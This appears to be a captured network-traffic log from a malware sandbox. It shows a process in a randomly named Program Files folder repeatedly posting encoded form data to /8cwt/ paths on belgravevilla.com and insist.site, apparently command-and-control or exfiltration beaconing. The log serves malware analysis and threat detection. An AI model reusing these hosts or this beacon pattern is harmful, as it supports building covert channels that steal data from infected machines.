Jun 4, 2024 14:18:48.235451937 CEST	1180	IN	Data Raw: 31 39 2e 34 31 38 31 31 2d 32 30 2e 32 33 33 73 31 39 2e 34 32 31 34 38 2c 38 2e 36 31 35 31 2c 31 39 2e 34 32 31 34 38 2c 32 30 2e 32 33 33 56 31 33 30 2e 35 31 38 43 38 31 38 2e 39 38 30 37 2c 31 34 32 2e 31 33 39 36 32 2c 38 31 32 2e 33 31 34 Data Ascii: 19.41811-20.233s19.42148,8.6151,19.42148,20.233V130.518C818.9807,142.13962,812.314,150.74765,799.55922,150.74765Zm8.69383-26.81055c0-6.66-3.00617-10.97058-8.69383-10.97058-5.68732,0-8.69382,4.31058-8.69382,10.97058V130.518c0,6.66336,3.0065,10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.30	49877	92.205.8.26	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:53.603776932 CEST	701	OUT	POST /8cwt/ HTTP/1.1 Host: www.belgravevilla.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.belgravevilla.com Referer: http://www.belgravevilla.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 79 63 61 76 66 61 38 58 55 2b 69 7a 64 35 34 37 59 36 48 2b 77 76 77 59 6a 53 6c 44 53 6d 55 4c 37 51 69 41 72 70 31 5a 74 7a 57 4c 4e 52 2f 42 53 51 78 7a 76 49 49 39 6e 6c 72 65 37 77 4e 37 52 6e 69 52 77 38 6f 6a 6b 4c 38 48 66 39 64 52 45 43 66 63 75 4d 32 33 78 71 43 64 66 4e 64 76 72 46 51 67 76 34 59 66 65 76 79 66 33 63 78 72 35 4b 36 46 32 68 4d 74 72 42 57 4b 75 45 31 58 34 44 42 2b 31 45 4b 66 7a 72 77 6a 66 4f 48 30 4a 49 55 77 4b 4c 6b 75 57 2f 48 4b 78 37 33 77 73 70 4b 52 30 52 75 4c 6d 58 43 45 48 46 6d 70 6f 50 61 33 69 74 44 6f 70 73 77 42 67 69 4b 4c 68 51 3d 3d Data Ascii: 24eluX=ycavfa8XU+izd547Y6H+wvwYjSlDSmUL7QiArp1ZtzWLNR/BSQxzvII9nlre7wN7RniRw8ojkL8Hf9dRECfcuM23xqCdfNdvrFQgv4Yfevyf3cxr5K6F2hMtrBWKuE1X4DB+1EKfzrwjfOH0JIUwKLkuW/HKx73wspKR0RuLmXCEHFmpoPa3itDopswBgiKLhQ==
Jun 4, 2024 14:18:53.879776955 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:53 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2508 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 59 7b 73 da b8 16 ff 3b 7c 0a d5 9d ad 61 8a 0d a4 24 a1 10 a7 3b 7d e5 ee 9d 6d bb b3 cd de d9 3b 9d 4e 47 d8 b2 51 22 4b ae 25 e3 d0 34 df fd 1e 49 b6 31 81 a4 d9 b6 73 21 10 bd 7c 74 5e 3a e7 77 c4 f1 83 97 ef 5e 9c fd f7 8f 57 68 a1 52 76 d2 39 d6 ff 50 c8 b0 94 81 23 33 cf 74 3b 7b 7b 7b d0 96 84 44 59 2e 22 a4 c7 bd b8 60 cc 41 0c f3 24 70 08 77 f4 a3 04 47 27 7a ad 7e 75 3a fa d3 39 7e e0 79 e8 5d 46 38 3a cd 71 b6 40 9e 07 0b 53 a2 30 02 4a 19 c9 d5 2a 70 44 32 2d 72 a0 15 0a ae 08 57 81 b3 50 2a 9b 0e 06 65 59 fa 73 c2 92 1c 2f c9 92 32 86 fd 50 a4 83 49 58 aa 81 83 06 3b e9 a8 55 46 5a 84 4a 32 97 54 11 b3 ba 62 cb 30 74 56 52 a5 48 8e 5e e0 3c 6a b1 c4 71 4a 02 47 d9 c9 69 08 93 2d 5a b2 48 53 9c af da b4 e0 63 1f 0c 17 38 97 04 16 fd 75 f6 da 9b 38 9b f4 96 94 94 99 c8 55 9b 2f 1a a9 45 10 81 54 21 f1 4c a7 8f 28 a7 8a 62 e6 c9 10 33 12 8c fc a1 26 a3 99 7d 49 62 5c 30 85 5e bc 7f 6f 79 65 94 5f a0 9c b0 c0 95 6a c5 88 5c 10 a2 5c 44 23 e8 57 16 f2 42 29 [TRUNCATED] Data Ascii: Y{s;\|a$;}m;NGQ"K%4I1s!\|t^:w^WhRv9P#3t;{{{DY."`A$pwG'z~u:9~y]F8:q@S0JpD2-rWPeYs/2PIX;UFZJ2Tb0tVRH^<jqJGi-ZHSc8u8U/ET!L(b3&}Ib\0^oye_j\\D#WB)Eh8p+nkAr9aOY1g4G>0lIci"j`MIDqb\1K"EJ~&-F`{$5oesDz;0b GygTQ431N)[Pb:=>"3W,qOcfSpp>3P0O6kT#_`8$NSOn>upmYh&MA}oI)n$9gfiIhP'5OSZJO\'+~5E 3Y:`f@xHp(0"Iw}{[>WdLHp,?7WsldGKh<f=te<^+}l=h!p}krr9Do1/!*pEEv6I]wk+ng&uF?:?-d3gxP\|]@3
Jun 4, 2024 14:18:53.879888058 CEST	1289	IN	Data Raw: 41 dd aa 72 d7 5e 35 85 64 1e 36 30 eb 7b 33 eb b9 1c 68 50 68 08 4a 93 53 cf a5 83 22 12 93 fc a4 d9 19 ed b5 12 67 e7 fe fb 53 1e b2 22 22 52 ef 72 fe b9 20 f9 aa fa 57 6f 74 d2 12 ae 9d 8d cf 70 82 de 60 0e f1 2f df 50 46 37 2e 78 a8 a8 e0 dd Data Ascii: Ar^5d60{3hPhJS"gS""Rr Wotp`/PF7.xei>gg\tDT8W!;t{~B^,A=S\("#)+-}~wa%0XnH>sPz;;\0PyAqk,E?S+QWb
Jun 4, 2024 14:18:53.879898071 CEST	275	IN	Data Raw: a0 12 26 c9 6c af 55 af eb 52 7d a0 cf b2 2e ed ab 41 b7 01 03 6e 10 04 06 4b 89 18 7d 52 79 fc 19 7d fd 8a aa 02 ce b7 03 01 fa f0 b1 37 bb fd 91 08 3d 7a b4 f1 48 14 c0 03 7d d3 aa 6b 60 15 86 cc 9f 43 19 f6 2f 21 a1 0e 76 41 31 10 6c 01 5d 43 Data Ascii: &lUR}.AnK}Ry}7=zH}k`C/!vA1l]Cs33yr>0l<y:Otd7C!h#p\8\n:@*"8a.Z"G?`GqTB-LyP}y:CXEL#R?T1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.30	49878	92.205.8.26	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:56.360236883 CEST	721	OUT	POST /8cwt/ HTTP/1.1 Host: www.belgravevilla.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.belgravevilla.com Referer: http://www.belgravevilla.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 79 63 61 76 66 61 38 58 55 2b 69 7a 63 5a 49 37 58 37 48 2b 32 50 77 62 2f 69 6c 44 64 47 55 50 37 51 6d 41 72 73 4e 4a 74 46 47 4c 4e 7a 6e 42 52 52 78 7a 71 49 49 39 74 46 72 58 32 51 4e 38 52 6e 65 5a 77 2b 73 6a 6b 4b 63 48 66 39 4e 52 45 52 33 66 38 73 32 31 34 4b 43 66 52 74 64 76 72 46 51 67 76 34 4d 35 65 73 43 66 33 4d 42 72 35 72 37 54 2f 42 4d 75 37 52 57 4b 6b 55 31 54 34 44 42 51 31 42 75 31 7a 70 49 6a 66 50 33 30 49 63 49 7a 64 37 6b 6f 4c 76 48 65 31 4b 61 56 6a 71 6d 38 2f 7a 36 50 68 43 57 7a 50 79 58 7a 31 4d 75 31 78 4e 2f 46 31 74 64 70 69 67 4c 51 38 58 2f 4d 47 6d 63 6a 44 4c 6f 4e 2b 49 4c 4f 51 6c 7a 59 48 4f 67 3d Data Ascii: 24eluX=ycavfa8XU+izcZI7X7H+2Pwb/ilDdGUP7QmArsNJtFGLNznBRRxzqII9tFrX2QN8RneZw+sjkKcHf9NRER3f8s214KCfRtdvrFQgv4M5esCf3MBr5r7T/BMu7RWKkU1T4DBQ1Bu1zpIjfP30IcIzd7koLvHe1KaVjqm8/z6PhCWzPyXz1Mu1xN/F1tdpigLQ8X/MGmcjDLoN+ILOQlzYHOg=
Jun 4, 2024 14:18:56.634248018 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:56 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2508 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 59 7b 73 da b8 16 ff 3b 7c 0a d5 9d ad 61 8a 0d a4 24 a1 10 a7 3b 7d e5 ee 9d 6d bb b3 cd de d9 3b 9d 4e 47 d8 b2 51 22 4b ae 25 e3 d0 34 df fd 1e 49 b6 31 81 a4 d9 b6 73 21 10 bd 7c 74 5e 3a e7 77 c4 f1 83 97 ef 5e 9c fd f7 8f 57 68 a1 52 76 d2 39 d6 ff 50 c8 b0 94 81 23 33 cf 74 3b 7b 7b 7b d0 96 84 44 59 2e 22 a4 c7 bd b8 60 cc 41 0c f3 24 70 08 77 f4 a3 04 47 27 7a ad 7e 75 3a fa d3 39 7e e0 79 e8 5d 46 38 3a cd 71 b6 40 9e 07 0b 53 a2 30 02 4a 19 c9 d5 2a 70 44 32 2d 72 a0 15 0a ae 08 57 81 b3 50 2a 9b 0e 06 65 59 fa 73 c2 92 1c 2f c9 92 32 86 fd 50 a4 83 49 58 aa 81 83 06 3b e9 a8 55 46 5a 84 4a 32 97 54 11 b3 ba 62 cb 30 74 56 52 a5 48 8e 5e e0 3c 6a b1 c4 71 4a 02 47 d9 c9 69 08 93 2d 5a b2 48 53 9c af da b4 e0 63 1f 0c 17 38 97 04 16 fd 75 f6 da 9b 38 9b f4 96 94 94 99 c8 55 9b 2f 1a a9 45 10 81 54 21 f1 4c a7 8f 28 a7 8a 62 e6 c9 10 33 12 8c fc a1 26 a3 99 7d 49 62 5c 30 85 5e bc 7f 6f 79 65 94 5f a0 9c b0 c0 95 6a c5 88 5c 10 a2 5c 44 23 e8 57 16 f2 42 29 [TRUNCATED] Data Ascii: Y{s;\|a$;}m;NGQ"K%4I1s!\|t^:w^WhRv9P#3t;{{{DY."`A$pwG'z~u:9~y]F8:q@S0JpD2-rWPeYs/2PIX;UFZJ2Tb0tVRH^<jqJGi-ZHSc8u8U/ET!L(b3&}Ib\0^oye_j\\D#WB)Eh8p+nkAr9aOY1g4G>0lIci"j`MIDqb\1K"EJ~&-F`{$5oesDz;0b GygTQ431N)[Pb:=>"3W,qOcfSpp>3P0O6kT#_`8$NSOn>upmYh&MA}oI)n$9gfiIhP'5OSZJO\'+~5E 3Y:`f@xHp(0"Iw}{[>WdLHp,?7WsldGKh<f=te<^+}l=h!p}krr9Do1/!*pEEv6I]wk+ng&uF?:?-d3gxP\|]@3
Jun 4, 2024 14:18:56.634388924 CEST	1289	IN	Data Raw: 41 dd aa 72 d7 5e 35 85 64 1e 36 30 eb 7b 33 eb b9 1c 68 50 68 08 4a 93 53 cf a5 83 22 12 93 fc a4 d9 19 ed b5 12 67 e7 fe fb 53 1e b2 22 22 52 ef 72 fe b9 20 f9 aa fa 57 6f 74 d2 12 ae 9d 8d cf 70 82 de 60 0e f1 2f df 50 46 37 2e 78 a8 a8 e0 dd Data Ascii: Ar^5d60{3hPhJS"gS""Rr Wotp`/PF7.xei>gg\tDT8W!;t{~B^,A=S\("#)+-}~wa%0XnH>sPz;;\0PyAqk,E?S+QWb
Jun 4, 2024 14:18:56.634399891 CEST	275	IN	Data Raw: a0 12 26 c9 6c af 55 af eb 52 7d a0 cf b2 2e ed ab 41 b7 01 03 6e 10 04 06 4b 89 18 7d 52 79 fc 19 7d fd 8a aa 02 ce b7 03 01 fa f0 b1 37 bb fd 91 08 3d 7a b4 f1 48 14 c0 03 7d d3 aa 6b 60 15 86 cc 9f 43 19 f6 2f 21 a1 0e 76 41 31 10 6c 01 5d 43 Data Ascii: &lUR}.AnK}Ry}7=zH}k`C/!vA1l]Cs33yr>0l<y:Otd7C!h#p\8\n:@*"8a.Z"G?`GqTB-LyP}y:CXEL#R?T1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.30	49879	92.205.8.26	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:18:59.108072042 CEST	1638	OUT	POST /8cwt/ HTTP/1.1 Host: www.belgravevilla.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.belgravevilla.com Referer: http://www.belgravevilla.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 79 63 61 76 66 61 38 58 55 2b 69 7a 63 5a 49 37 58 37 48 2b 32 50 77 62 2f 69 6c 44 64 47 55 50 37 51 6d 41 72 73 4e 4a 74 46 4f 4c 4e 41 76 42 53 79 4a 7a 70 49 49 39 68 6c 72 53 32 51 4d 67 52 6e 47 64 77 2b 78 59 6b 4f 73 48 66 66 31 52 55 77 33 66 6c 63 32 31 36 4b 43 61 66 4e 64 36 72 46 41 65 76 34 63 35 65 73 43 66 33 4f 4a 72 2b 36 37 54 35 42 4d 74 72 42 57 4f 75 45 30 4f 34 44 5a 6d 31 41 75 50 79 5a 6f 6a 52 50 6e 30 45 50 67 7a 42 72 6b 71 59 66 47 5a 31 4b 57 47 6a 71 36 77 2f 79 65 70 68 46 79 7a 4d 54 54 76 6d 64 44 72 71 76 72 49 33 2b 35 4e 6c 41 4c 5a 39 6d 4c 38 42 46 59 4a 4c 71 63 41 33 59 37 4d 4c 51 72 63 52 61 4b 49 49 76 56 6b 4f 53 75 79 44 69 6e 75 48 73 37 63 32 4d 4d 74 34 66 57 70 4e 4b 72 42 53 66 76 4a 6c 4d 72 58 34 41 30 73 37 49 38 4f 43 6c 48 75 61 41 56 37 6b 31 69 57 44 70 78 5a 74 5a 51 6b 69 6e 35 54 52 75 79 30 72 73 70 4d 63 4b 4f 6a 72 39 6c 75 59 44 69 4e 51 68 67 42 68 6b 48 4e 76 30 48 6b 38 74 4c 69 65 37 30 65 64 6f 54 2f 39 34 63 [TRUNCATED] Data Ascii: 24eluX=ycavfa8XU+izcZI7X7H+2Pwb/ilDdGUP7QmArsNJtFOLNAvBSyJzpII9hlrS2QMgRnGdw+xYkOsHff1RUw3flc216KCafNd6rFAev4c5esCf3OJr+67T5BMtrBWOuE0O4DZm1AuPyZojRPn0EPgzBrkqYfGZ1KWGjq6w/yephFyzMTTvmdDrqvrI3+5NlALZ9mL8BFYJLqcA3Y7MLQrcRaKIIvVkOSuyDinuHs7c2MMt4fWpNKrBSfvJlMrX4A0s7I8OClHuaAV7k1iWDpxZtZQkin5TRuy0rspMcKOjr9luYDiNQhgBhkHNv0Hk8tLie70edoT/94c73qphpUh96lxihbjuswNb4DyLke88hIpc7f4IE/TyYg8KjHRirNF9yXyD/lMDziOK4X0Wq3M5TOp9dhrAo6cwXCaPx4r2x9mzEafVx/Jq8a4OFf9KTuLNnaA//oBfd+vXnsBx5v31igKD+QaPqklVJ8EbtkYG52jWNOezqic1zASMuBlKqm77iTY7n+Qmz7xKOkrPM0n+Qw8AApwmUUTBOBKLHOLOYWTKmzxfvDiUKe+QGGAgC+RUh/FKtY+Ob96aBZAamMEzxwp+jVzR9UuZHE7Q2usvpV2WJwM29UpJNscv3POwmEGfkT0HdbOzp+uck6xgaCCO/nrwLpU9nZ734JPbJLO/hhXZ+0CCSO7+GZoCOz6/5hTvQEwV+1ixnnLjS+1wzU9EyKM1EGHd/1rmJtEhk/PVApM+IDckfGkRllAe58Oqo14D5Z+j1Z9XPBCqK3/0+m3ImAFdEoEVRX6XIM4j3sIIo+wM5amtPlq4WJtg7VNuoRPvZpuYla5059RhAlcguo8mJf7zQe+2YPSbLb5pBbICKlJn0i13K4T+YoFPE/MLD1KZbS4iHioYYecqFtTRV4MVIZKfsb0+1fAFaG/xMMy4oF36Fy+0Lz2M35ryPgoHhPIf7uxOn9n6j0D/PmuUxRdd0gKj+7TMDf9xmpBlPn/788P7h [TRUNCATED]
Jun 4, 2024 14:18:59.382074118 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 12:18:59 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2508 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 59 7b 73 da b8 16 ff 3b 7c 0a d5 9d ad 61 8a 0d a4 24 a1 10 a7 3b 7d e5 ee 9d 6d bb b3 cd de d9 3b 9d 4e 47 d8 b2 51 22 4b ae 25 e3 d0 34 df fd 1e 49 b6 31 81 a4 d9 b6 73 21 10 bd 7c 74 5e 3a e7 77 c4 f1 83 97 ef 5e 9c fd f7 8f 57 68 a1 52 76 d2 39 d6 ff 50 c8 b0 94 81 23 33 cf 74 3b 7b 7b 7b d0 96 84 44 59 2e 22 a4 c7 bd b8 60 cc 41 0c f3 24 70 08 77 f4 a3 04 47 27 7a ad 7e 75 3a fa d3 39 7e e0 79 e8 5d 46 38 3a cd 71 b6 40 9e 07 0b 53 a2 30 02 4a 19 c9 d5 2a 70 44 32 2d 72 a0 15 0a ae 08 57 81 b3 50 2a 9b 0e 06 65 59 fa 73 c2 92 1c 2f c9 92 32 86 fd 50 a4 83 49 58 aa 81 83 06 3b e9 a8 55 46 5a 84 4a 32 97 54 11 b3 ba 62 cb 30 74 56 52 a5 48 8e 5e e0 3c 6a b1 c4 71 4a 02 47 d9 c9 69 08 93 2d 5a b2 48 53 9c af da b4 e0 63 1f 0c 17 38 97 04 16 fd 75 f6 da 9b 38 9b f4 96 94 94 99 c8 55 9b 2f 1a a9 45 10 81 54 21 f1 4c a7 8f 28 a7 8a 62 e6 c9 10 33 12 8c fc a1 26 a3 99 7d 49 62 5c 30 85 5e bc 7f 6f 79 65 94 5f a0 9c b0 c0 95 6a c5 88 5c 10 a2 5c 44 23 e8 57 16 f2 42 29 [TRUNCATED] Data Ascii: Y{s;\|a$;}m;NGQ"K%4I1s!\|t^:w^WhRv9P#3t;{{{DY."`A$pwG'z~u:9~y]F8:q@S0JpD2-rWPeYs/2PIX;UFZJ2Tb0tVRH^<jqJGi-ZHSc8u8U/ET!L(b3&}Ib\0^oye_j\\D#WB)Eh8p+nkAr9aOY1g4G>0lIci"j`MIDqb\1K"EJ~&-F`{$5oesDz;0b GygTQ431N)[Pb:=>"3W,qOcfSpp>3P0O6kT#_`8$NSOn>upmYh&MA}oI)n$9gfiIhP'5OSZJO\'+~5E 3Y:`f@xHp(0"Iw}{[>WdLHp,?7WsldGKh<f=te<^+}l=h!p}krr9Do1/!*pEEv6I]wk+ng&uF?:?-d3gxP\|]@3
Jun 4, 2024 14:18:59.382194042 CEST	1289	IN	Data Raw: 41 dd aa 72 d7 5e 35 85 64 1e 36 30 eb 7b 33 eb b9 1c 68 50 68 08 4a 93 53 cf a5 83 22 12 93 fc a4 d9 19 ed b5 12 67 e7 fe fb 53 1e b2 22 22 52 ef 72 fe b9 20 f9 aa fa 57 6f 74 d2 12 ae 9d 8d cf 70 82 de 60 0e f1 2f df 50 46 37 2e 78 a8 a8 e0 dd Data Ascii: Ar^5d60{3hPhJS"gS""Rr Wotp`/PF7.xei>gg\tDT8W!;t{~B^,A=S\("#)+-}~wa%0XnH>sPz;;\0PyAqk,E?S+QWb
Jun 4, 2024 14:18:59.382294893 CEST	275	IN	Data Raw: a0 12 26 c9 6c af 55 af eb 52 7d a0 cf b2 2e ed ab 41 b7 01 03 6e 10 04 06 4b 89 18 7d 52 79 fc 19 7d fd 8a aa 02 ce b7 03 01 fa f0 b1 37 bb fd 91 08 3d 7a b4 f1 48 14 c0 03 7d d3 aa 6b 60 15 86 cc 9f 43 19 f6 2f 21 a1 0e 76 41 31 10 6c 01 5d 43 Data Ascii: &lUR}.AnK}Ry}7=zH}k`C/!vA1l]Cs33yr>0l<y:Otd7C!h#p\8\n:@*"8a.Z"G?`GqTB-LyP}y:CXEL#R?T1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.30	49880	92.205.8.26	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:01.857976913 CEST	432	OUT	GET /8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F+tj/gurFaBNg3fGC8Bq8tEkH7S9Bted1WP+/9Tvc8BBtdeQx/29+uX5MeVdplxqUx1gZhmZuS5o8pYgM2a/wg=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.belgravevilla.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:19:02.408593893 CEST	546	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 04 Jun 2024 12:19:01 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://belgravevilla.com/8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F+tj/gurFaBNg3fGC8Bq8tEkH7S9Bted1WP+/9Tvc8BBtdeQx/29+uX5MeVdplxqUx1gZhmZuS5o8pYgM2a/wg=&Mjnd0=JZHP8Tx0t6 Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.30	49881	3.64.163.50	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:07.791268110 CEST	683	OUT	POST /8cwt/ HTTP/1.1 Host: www.insist.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.insist.site Referer: http://www.insist.site/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 73 44 39 76 50 68 67 70 44 45 77 5a 7a 74 4e 39 32 2f 67 31 30 41 68 61 4c 68 30 50 62 33 36 53 51 73 63 69 6f 79 63 69 61 6c 62 77 63 2b 36 45 38 71 44 7a 4a 38 31 31 38 31 6f 31 75 38 53 7a 67 4f 55 68 55 76 30 48 50 65 59 51 78 74 69 52 38 6b 47 4f 6c 32 68 63 35 64 56 78 6e 7a 4f 2b 53 57 69 57 48 73 72 6f 6e 53 30 52 69 51 78 6e 56 66 72 70 58 52 55 78 53 6b 70 6c 6b 45 6f 39 75 7a 49 62 37 73 73 75 48 44 39 47 4e 62 66 6e 48 4f 78 38 4c 33 35 2f 51 66 78 4e 67 35 59 42 59 61 61 48 56 6b 7a 65 65 6e 75 33 30 4c 75 64 55 75 38 46 4b 39 73 54 56 33 67 55 37 56 36 79 63 77 3d 3d Data Ascii: 24eluX=sD9vPhgpDEwZztN92/g10AhaLh0Pb36SQscioycialbwc+6E8qDzJ81181o1u8SzgOUhUv0HPeYQxtiR8kGOl2hc5dVxnzO+SWiWHsronS0RiQxnVfrpXRUxSkplkEo9uzIb7ssuHD9GNbfnHOx8L35/QfxNg5YBYaaHVkzeenu30LudUu8FK9sTV3gU7V6ycw==
Jun 4, 2024 14:19:08.011444092 CEST	289	IN	HTTP/1.1 410 Gone Server: openresty Date: Tue, 04 Jun 2024 12:19:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 62 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 69 6e 73 69 73 74 2e 73 69 74 65 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4b <meta http-equiv='refresh' content='0; url=http://www.insist.site/' />a </head>8</html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.30	49882	3.64.163.50	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:19:10.538608074 CEST	703	OUT	POST /8cwt/ HTTP/1.1 Host: www.insist.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.insist.site Referer: http://www.insist.site/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 73 44 39 76 50 68 67 70 44 45 77 5a 69 38 39 39 36 38 49 31 31 67 68 5a 58 78 30 50 4f 6e 36 4f 51 73 51 69 6f 7a 4a 2f 61 51 4c 77 66 65 4b 45 39 72 44 7a 4b 38 31 31 33 56 6f 30 68 63 53 38 67 4f 59 70 55 72 30 48 50 65 6b 51 78 6f 65 52 39 58 75 4a 6c 6d 67 36 32 39 56 7a 71 54 4f 2b 53 57 69 57 48 74 4f 31 6e 53 38 52 69 68 42 6e 57 2b 72 71 4a 42 55 79 43 30 70 6c 75 6b 6f 35 75 7a 4a 4f 37 74 41 45 48 42 46 47 4e 5a 48 6e 41 66 78 7a 46 33 34 36 64 2f 77 70 6c 4a 5a 4f 63 62 65 36 52 6d 62 64 63 6e 76 49 34 38 66 48 4a 74 49 48 5a 64 51 2b 4a 32 4e 38 35 58 37 70 42 35 43 54 42 35 44 35 59 6a 4e 2f 6b 34 42 5a 4b 61 4d 50 32 46 67 3d Data Ascii: 24eluX=sD9vPhgpDEwZi89968I11ghZXx0POn6OQsQiozJ/aQLwfeKE9rDzK8113Vo0hcS8gOYpUr0HPekQxoeR9XuJlmg629VzqTO+SWiWHtO1nS8RihBnW+rqJBUyC0pluko5uzJO7tAEHBFGNZHnAfxzF346d/wplJZOcbe6RmbdcnvI48fHJtIHZdQ+J2N85X7pB5CTB5D5YjN/k4BZKaMP2Fg=
